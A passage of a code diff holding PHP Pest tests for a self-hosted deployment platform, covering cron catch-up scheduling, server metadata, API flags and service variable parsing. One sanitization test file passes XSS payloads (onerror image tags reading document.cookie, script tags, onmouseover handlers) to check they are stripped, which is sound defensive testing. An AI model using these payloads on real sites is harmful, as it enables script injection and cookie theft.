expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00');
|
||||
});
|
||||
|
||||
it('catches next occurrence after cache was seeded on non-due first run', function () {
|
||||
// Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse();
|
||||
|
||||
// Step 2: Next day at 02:03 — delayed 3 minutes past cron.
|
||||
// previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('cache survives 29 days with static 30-day TTL', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static');
|
||||
expect(Cache::get('test-ttl:static'))->not->toBeNull();
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// No dedup key → simple isDue check
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC');
|
||||
expect($result)->toBeTrue();
|
||||
|
||||
// At 02:01 without dedup key → isDue returns false
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$result2 = $method->invoke($job, '0 2 * * *', 'UTC');
|
||||
expect($result2)->toBeFalse();
|
||||
// 29 days later — cache (30-day TTL) should still exist
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC'));
|
||||
expect(Cache::get('test-ttl:static'))->not->toBeNull();
|
||||
});
|
||||
|
||||
it('respects server timezone for cron evaluation', function () {
|
||||
// UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
|
||||
Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
|
||||
// That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
|
||||
$resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
|
||||
expect($resultSingapore)->toBeTrue();
|
||||
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire
|
||||
expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue();
|
||||
|
||||
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
|
||||
$resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
|
||||
expect($resultUtc)->toBeFalse();
|
||||
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire
|
||||
expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('passes explicit execution time instead of using Carbon::now()', function () {
|
||||
// Real "now" is irrelevant — we pass an explicit execution time
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
|
||||
|
||||
$executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime);
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('catches delayed sentinel restart when job runs past midnight', function () {
|
||||
Cache::put('sentinel-restart:1', Carbon::create(2026, 2, 27, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Job runs 3 minutes late at 00:03
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today
|
||||
// lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires
|
||||
$result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed weekly patch check when job runs past the cron minute', function () {
|
||||
Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday)
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed storage check when job runs past the cron minute', function () {
|
||||
Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('seeds cache on non-due first run so weekly catch-up works', function () {
|
||||
// Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
|
||||
expect($result)->toBeFalse();
|
||||
|
||||
// Verify cache was seeded
|
||||
expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull();
|
||||
|
||||
// Next Sunday at 00:02 — delayed 2 minutes past cron
|
||||
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
|
||||
|
||||
$result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
|
||||
expect($result2)->toBeTrue();
|
||||
});
|
||||
|
||||
it('daily cron fires after cache seed even when delayed past the minute', function () {
|
||||
// Step 1: 15:00 — not due for midnight cron, but seeds cache
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
|
||||
|
||||
$result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
|
||||
expect($result1)->toBeFalse();
|
||||
|
||||
// Step 2: Next day at 00:05 — delayed 5 minutes past midnight
|
||||
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC'));
|
||||
|
||||
$result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
|
||||
expect($result2)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
// Next minute — should NOT dispatch again
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,119 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Server\ValidateAndInstall;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$user->teams()->attach($this->team);
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('casts server_metadata as array', function () {
|
||||
$metadata = [
|
||||
'os' => 'Ubuntu 22.04.3 LTS',
|
||||
'arch' => 'x86_64',
|
||||
'kernel' => '5.15.0-91-generic',
|
||||
'cpus' => 4,
|
||||
'memory_bytes' => 8589934592,
|
||||
'uptime_since' => '2024-01-15 10:30:00',
|
||||
'collected_at' => now()->toIso8601String(),
|
||||
];
|
||||
|
||||
$this->server->update(['server_metadata' => $metadata]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata)->toBeArray()
|
||||
->and($this->server->server_metadata['os'])->toBe('Ubuntu 22.04.3 LTS')
|
||||
->and($this->server->server_metadata['cpus'])->toBe(4)
|
||||
->and($this->server->server_metadata['memory_bytes'])->toBe(8589934592);
|
||||
});
|
||||
|
||||
it('stores null server_metadata by default', function () {
|
||||
expect($this->server->server_metadata)->toBeNull();
|
||||
});
|
||||
|
||||
it('includes server_metadata in fillable', function () {
|
||||
$this->server->fill(['server_metadata' => ['os' => 'Test']]);
|
||||
|
||||
expect($this->server->server_metadata)->toBe(['os' => 'Test']);
|
||||
});
|
||||
|
||||
it('persists and retrieves full server metadata structure', function () {
|
||||
$metadata = [
|
||||
'os' => 'Debian GNU/Linux 12 (bookworm)',
|
||||
'arch' => 'aarch64',
|
||||
'kernel' => '6.1.0-17-arm64',
|
||||
'cpus' => 8,
|
||||
'memory_bytes' => 17179869184,
|
||||
'uptime_since' => '2024-03-01 08:00:00',
|
||||
'collected_at' => '2024-03-10T12:00:00+00:00',
|
||||
];
|
||||
|
||||
$this->server->update(['server_metadata' => $metadata]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata)
|
||||
->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at'])
|
||||
->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)')
|
||||
->and($this->server->server_metadata['arch'])->toBe('aarch64')
|
||||
->and($this->server->server_metadata['cpus'])->toBe(8)
|
||||
->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0);
|
||||
});
|
||||
|
||||
it('returns null from gatherServerMetadata when server is not functional', function () {
|
||||
$this->server->settings->update([
|
||||
'is_reachable' => false,
|
||||
'is_usable' => false,
|
||||
]);
|
||||
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->gatherServerMetadata())->toBeNull();
|
||||
});
|
||||
|
||||
it('can overwrite server_metadata with new values', function () {
|
||||
$this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04');
|
||||
|
||||
$this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04')
|
||||
->and($this->server->server_metadata['cpus'])->toBe(4);
|
||||
});
|
||||
|
||||
it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () {
|
||||
$serverMock = Mockery::mock($this->server)->makePartial();
|
||||
$serverMock->shouldReceive('isSwarm')->andReturn(false);
|
||||
$serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn('24.0.0');
|
||||
$serverMock->shouldReceive('gatherServerMetadata')->once();
|
||||
$serverMock->shouldReceive('isBuildServer')->andReturn(false);
|
||||
|
||||
Livewire::test(ValidateAndInstall::class, ['server' => $serverMock])
|
||||
->call('validateDockerVersion');
|
||||
});
|
||||
|
||||
it('does not call gatherServerMetadata when docker version validation fails', function () {
|
||||
$serverMock = Mockery::mock($this->server)->makePartial();
|
||||
$serverMock->shouldReceive('isSwarm')->andReturn(false);
|
||||
$serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn(false);
|
||||
$serverMock->shouldNotReceive('gatherServerMetadata');
|
||||
|
||||
Livewire::test(ValidateAndInstall::class, ['server' => $serverMock])
|
||||
->call('validateDockerVersion');
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$user->teams()->attach($this->team);
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('strips dangerous HTML from validation_logs via mutator', function () {
|
||||
$xssPayload = '<img src=x onerror=alert(document.domain)>';
|
||||
$this->server->update(['validation_logs' => $xssPayload]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->validation_logs)->not->toContain('<img')
|
||||
->and($this->server->validation_logs)->not->toContain('onerror');
|
||||
});
|
||||
|
||||
it('strips script tags from validation_logs', function () {
|
||||
$xssPayload = '<script>alert("xss")</script>';
|
||||
$this->server->update(['validation_logs' => $xssPayload]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->validation_logs)->not->toContain('<script');
|
||||
});
|
||||
|
||||
it('preserves allowed HTML in validation_logs', function () {
|
||||
$allowedHtml = 'Server is not reachable.<br>Check this <a target="_blank" class="underline" href="https://coolify.io/docs">documentation</a> for further help.<br><br><div class="text-error">Error: Connection refused</div>';
|
||||
$this->server->update(['validation_logs' => $allowedHtml]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->validation_logs)->toContain('<a')
|
||||
->and($this->server->validation_logs)->toContain('<br')
|
||||
->and($this->server->validation_logs)->toContain('<div')
|
||||
->and($this->server->validation_logs)->toContain('Connection refused');
|
||||
});
|
||||
|
||||
it('allows null validation_logs', function () {
|
||||
$this->server->update(['validation_logs' => null]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->validation_logs)->toBeNull();
|
||||
});
|
||||
|
||||
it('sanitizes XSS embedded within valid error HTML', function () {
|
||||
$maliciousError = 'Server is not reachable.<br><div class="text-error">Error: <img src=x onerror=alert(document.cookie)></div>';
|
||||
$this->server->update(['validation_logs' => $maliciousError]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->validation_logs)->toContain('<div')
|
||||
->and($this->server->validation_logs)->toContain('Error:')
|
||||
->and($this->server->validation_logs)->not->toContain('onerror')
|
||||
->and($this->server->validation_logs)->not->toContain('<img');
|
||||
});
|
||||
|
||||
it('sanitizes event handler attributes in validation_logs', function () {
|
||||
$payload = '<div onmouseover="alert(1)" class="text-error">Error</div>';
|
||||
$this->server->update(['validation_logs' => $payload]);
|
||||
$this->server->refresh();
|
||||
|
||||
expect($this->server->validation_logs)->toContain('<div')
|
||||
->and($this->server->validation_logs)->not->toContain('onmouseover');
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
});
|
||||
|
||||
function serviceContainerLabelAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/services/{uuid}', function () {
|
||||
test('accepts is_container_label_escape_enabled field', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/services/{$service->uuid}", [
|
||||
'is_container_label_escape_enabled' => false,
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
$service->refresh();
|
||||
expect($service->is_container_label_escape_enabled)->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects invalid is_container_label_escape_enabled value', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/services/{$service->uuid}", [
|
||||
'is_container_label_escape_enabled' => 'not-a-boolean',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -7,6 +7,7 @@ use App\Models\ServiceApplication;
|
||||
use App\Models\ServiceDatabase;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
@@ -14,18 +15,18 @@ it('returns the correct team through the service relationship chain', function (
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$project = Project::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'name' => 'Test Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$environment = Environment::create([
|
||||
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
|
||||
'name' => 'test-env-'.Str::random(8),
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
|
||||
$service = Service::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'name' => 'supabase',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => 1,
|
||||
@@ -34,7 +35,7 @@ it('returns the correct team through the service relationship chain', function (
|
||||
]);
|
||||
|
||||
$serviceDatabase = ServiceDatabase::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'name' => 'supabase-db',
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
@@ -47,18 +48,18 @@ it('returns the correct team for ServiceApplication through the service relation
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$project = Project::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'name' => 'Test Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$environment = Environment::create([
|
||||
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
|
||||
'name' => 'test-env-'.Str::random(8),
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
|
||||
$service = Service::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'name' => 'supabase',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => 1,
|
||||
@@ -67,7 +68,7 @@ it('returns the correct team for ServiceApplication through the service relation
|
||||
]);
|
||||
|
||||
$serviceApplication = ServiceApplication::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'name' => 'supabase-studio',
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
@@ -0,0 +1,171 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Feature tests to verify that magic (referenced) SERVICE_URL_/SERVICE_FQDN_
|
||||
* variables do not overwrite values set by direct template declarations or updateCompose().
|
||||
*
|
||||
* This tests the fix for GitHub issue #8912 where generic SERVICE_URL and SERVICE_FQDN
|
||||
* variables remained stale after changing a service domain in the UI, while
|
||||
* port-specific variants updated correctly.
|
||||
*
|
||||
* Root cause: The magic variables section in serviceParser() used updateOrCreate()
|
||||
* which overwrote values from direct template declarations with auto-generated FQDNs.
|
||||
* Fix: Changed to firstOrCreate() so magic references don't overwrite existing values.
|
||||
*
|
||||
* IMPORTANT: These tests require database access and must be run inside Docker:
|
||||
* docker exec coolify php artisan test --filter ServiceMagicVariableOverwriteTest
|
||||
*/
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('generic SERVICE_URL/FQDN vars update after domain change when referenced by other services', function () {
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Compose template where:
|
||||
// - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1)
|
||||
// - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic)
|
||||
$template = <<<'YAML'
|
||||
services:
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- SERVICE_FQDN_NGINX_8080
|
||||
ports:
|
||||
- "8080:80"
|
||||
backend:
|
||||
image: node:20-alpine
|
||||
environment:
|
||||
- PUBLIC_URL=${SERVICE_URL_NGINX}
|
||||
- PUBLIC_FQDN=${SERVICE_FQDN_NGINX}
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'test-service',
|
||||
'docker_compose_raw' => $template,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'nginx',
|
||||
'fqdn' => null,
|
||||
]);
|
||||
|
||||
// Initial parse - generates auto FQDNs
|
||||
$service->parse();
|
||||
|
||||
$baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
|
||||
$baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
|
||||
|
||||
// All four variables should exist after initial parse
|
||||
expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist');
|
||||
expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist');
|
||||
expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist');
|
||||
expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist');
|
||||
|
||||
// Now simulate user changing domain via UI (EditDomain::submit flow)
|
||||
$serviceApp->fqdn = 'https://my-nginx.example.com:8080';
|
||||
$serviceApp->save();
|
||||
|
||||
// updateCompose() runs first (sets correct values)
|
||||
updateCompose($serviceApp);
|
||||
|
||||
// Then parse() runs (should NOT overwrite the correct values)
|
||||
$service->parse();
|
||||
|
||||
// Reload all variables
|
||||
$baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
|
||||
$baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
|
||||
|
||||
// ALL variables should reflect the custom domain
|
||||
expect($baseUrl->value)->toBe('https://my-nginx.example.com')
|
||||
->and($baseFqdn->value)->toBe('my-nginx.example.com')
|
||||
->and($portUrl->value)->toBe('https://my-nginx.example.com:8080')
|
||||
->and($portFqdn->value)->toBe('my-nginx.example.com:8080');
|
||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('magic variable references do not overwrite direct template declarations on initial parse', function () {
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Backend references the port-specific variable via magic syntax
|
||||
$template = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- SERVICE_FQDN_APP_3000
|
||||
ports:
|
||||
- "3000:3000"
|
||||
worker:
|
||||
image: node:20-alpine
|
||||
environment:
|
||||
- API_URL=${SERVICE_URL_APP_3000}
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'test-service',
|
||||
'docker_compose_raw' => $template,
|
||||
]);
|
||||
|
||||
ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'app',
|
||||
'fqdn' => null,
|
||||
]);
|
||||
|
||||
// Parse the service
|
||||
$service->parse();
|
||||
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first();
|
||||
|
||||
// Port-specific vars should have port as a URL port suffix (:3000),
|
||||
// NOT baked into the subdomain (app-3000-uuid.sslip.io)
|
||||
expect($portUrl)->not->toBeNull();
|
||||
expect($portFqdn)->not->toBeNull();
|
||||
expect($portUrl->value)->toContain(':3000');
|
||||
// The domain should NOT have 3000 in the subdomain
|
||||
$urlWithoutPort = str($portUrl->value)->before(':3000')->value();
|
||||
expect($urlWithoutPort)->not->toContain('3000');
|
||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('parsers.php uses firstOrCreate for magic variable references', function () {
|
||||
$parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php'));
|
||||
|
||||
// Find the magic variables section (Section 2) which processes ${SERVICE_*} references
|
||||
// It should use firstOrCreate, not updateOrCreate, to avoid overwriting values
|
||||
// set by direct template declarations (Section 1) or updateCompose()
|
||||
|
||||
// Look for the specific pattern: the magic variables section creates FQDN and URL pairs
|
||||
// after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments
|
||||
|
||||
// Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach)
|
||||
$magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0');
|
||||
expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist');
|
||||
|
||||
$magicSection = substr($parsersFile, $magicSectionStart, 5000);
|
||||
|
||||
// Count updateOrCreate vs firstOrCreate in the magic section
|
||||
$updateOrCreateCount = substr_count($magicSection, 'updateOrCreate');
|
||||
$firstOrCreateCount = substr_count($magicSection, 'firstOrCreate');
|
||||
|
||||
// Magic section should use firstOrCreate for SERVICE_URL/FQDN variables
|
||||
expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs')
|
||||
->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables');
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Settings\Updates;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Once;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('non-admin user is redirected from settings updates page', function () {
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
